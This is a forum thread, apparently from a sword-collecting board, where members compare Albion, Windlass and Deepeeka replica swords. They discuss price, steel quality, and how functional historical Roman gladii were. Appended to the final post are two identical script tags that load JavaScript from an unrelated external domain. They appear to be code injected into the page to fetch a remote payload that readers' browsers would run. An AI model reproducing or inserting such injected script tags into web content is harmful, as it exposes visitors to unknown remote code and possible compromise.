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Post by Jordan Williams on Apr 7, 2018 23:53:26 GMT
Ditto, but for me it's more that I don't have very much interest in medi stuff. If they made sabres - apart from the 3k plus Vivamus - I'd no doubt stave off a few antique purchases and get a few of them. I've been thinking about their squire line stuff, just because it would be fun to own an Albion. It is the lower end, non (or minimal) functioning stuff that I won't touch, but there is a market for that as well, made for the masses of (mainly young and inexperienced) ignorant, uncaring, or just people who want something on the wall (or as a gift for other peoples walls). My way of thinking is why would you display something that you KNEW was non (or minimal) functioning? Fortunately, I've always been kind of a steel snob and got into knives first, so that insulated me from the truly spectacular failures that come with youth. Some quality made things can be had at very low prices, and though not as good as Albion type offerings, they are still quite functional. Yeah, I'm a sort of snob as well about what steel I have (and what I pay for it as well) but do appreciate the market that the middle range prices occupy, I've never gotten displaying something that would fall apart if you slapped it either. I won't touch most of the budget stuff (by touch I mean buy, obvs if it was on a table I'd touch it lol) just because they have such poor workmanship and care put into them. Like the legacy arms Gladius - it barely even looks like it's historical counterparts, and for another couple months of saving I could get an Albion or custom piece? Easy choice for me, even though it temporarily sets back building up my collection. |
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Post by Timo Nieminen on Apr 8, 2018 0:07:34 GMT
It is the lower end, non (or minimal) functioning stuff that I won't touch, but there is a market for that as well, made for the masses of (mainly young and inexperienced) ignorant, uncaring, or just people who want something on the wall (or as a gift for other peoples walls). My way of thinking is why would you display something that you KNEW was non (or minimal) functioning? Historical accuracy is one possible reason. Our modern "functional", especially "functional" as far as steel snobs are concerned, is not the same as the historical function. Among surviving Roman swords, we can find blades with 0.7% carbon (at the edges, and less mid-blade) but not heat treated (so similar to "nonfunctional" non-heat-treated Deepeeka), and blades that are essentially mild-steel (sub-Deepeeka). These were considered functional in their day. A Deepeeka gladius will usually be metallurgically better-than-historical, especially if hardened. As long as it doesn't have empty space in the hilt (which can be taken care of with epoxy), it will survive what a historical gladius would survive (and possibly more). Even if non-hardened (and therefore, by modern standards, "not functional"). |
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Post by howler on Apr 8, 2018 0:23:11 GMT
It is the lower end, non (or minimal) functioning stuff that I won't touch, but there is a market for that as well, made for the masses of (mainly young and inexperienced) ignorant, uncaring, or just people who want something on the wall (or as a gift for other peoples walls). My way of thinking is why would you display something that you KNEW was non (or minimal) functioning? Historical accuracy is one possible reason. Our modern "functional", especially "functional" as far as steel snobs are concerned, is not the same as the historical function. Among surviving Roman swords, we can find blades with 0.7% carbon (at the edges, and less mid-blade) but not heat treated (so similar to "nonfunctional" non-heat-treated Deepeeka), and blades that are essentially mild-steel (sub-Deepeeka). These were considered functional in their day. A Deepeeka gladius will usually be metallurgically better-than-historical, especially if hardened. As long as it doesn't have empty space in the hilt (which can be taken care of with epoxy), it will survive what a historical gladius would survive (and possibly more). Even if non-hardened (and therefore, by modern standards, "not functional"). Yeah, this makes sense. Some historical stuff may have had good balance, but probably suffered structural weaknesses, particularly in times of war when you had to pump out anything you could to stick in able bodied (or not) hands. That Windlass Arming sword I got on closeout yesterday would be Excalibur by comparison, and (at $100) I think it good enough, functionally speaking, vs. Albion, and a better price point buy. If someone just gave me a choice on which one to pick out at no cost to keep, I would scramble over their dying corpse while grabbing that Albion. |
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Post by andresr22 on Apr 8, 2018 15:44:56 GMT
It will probably hold up better than an original piece would have given the use of modern steel honestly. Knowing that machines cut the steel - well, a ton of research is done, and lots hand work still required to make them a good sword. The year wait time is a testament to the quality and reputation of Albion swords. I'd say it's worth it and plus you can use that tear of waiting to get your hands on more pieces. Patrick Pointer, the fellow above also makes Gladii but last I remember he does not supply them sharpened. To be honest I do not care about how a sword was made, as long as it's functional. Albion is function, and makes what are to my knowledge the most accurate reproductions available from production companies. Edit: here is a video of a YouTube beating the crap out of an Albion sword. If these things weren't so pricey...I would change my middle name to Albion. Albion would be everywhere in my home, including the bathroom. Hell, my first, middle and last name would indeed be Albion. But the price is a reason they are so great. Great enough to justify is up to the individual and their situation and desire. The waiting list does seem to indicate enough people think they are worth it. I'm generally a lower price point guy, so if it is functional and good enough (for me), I can get a good sized collection going of different things rather than just one or two examples. thank you Jordan, thank you for your help, i think i wil then purchase the albion augustus, i onlike the gladii, and they are the only one that makes them so great. hope i will get my hands on one soon lol. thank you<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> |
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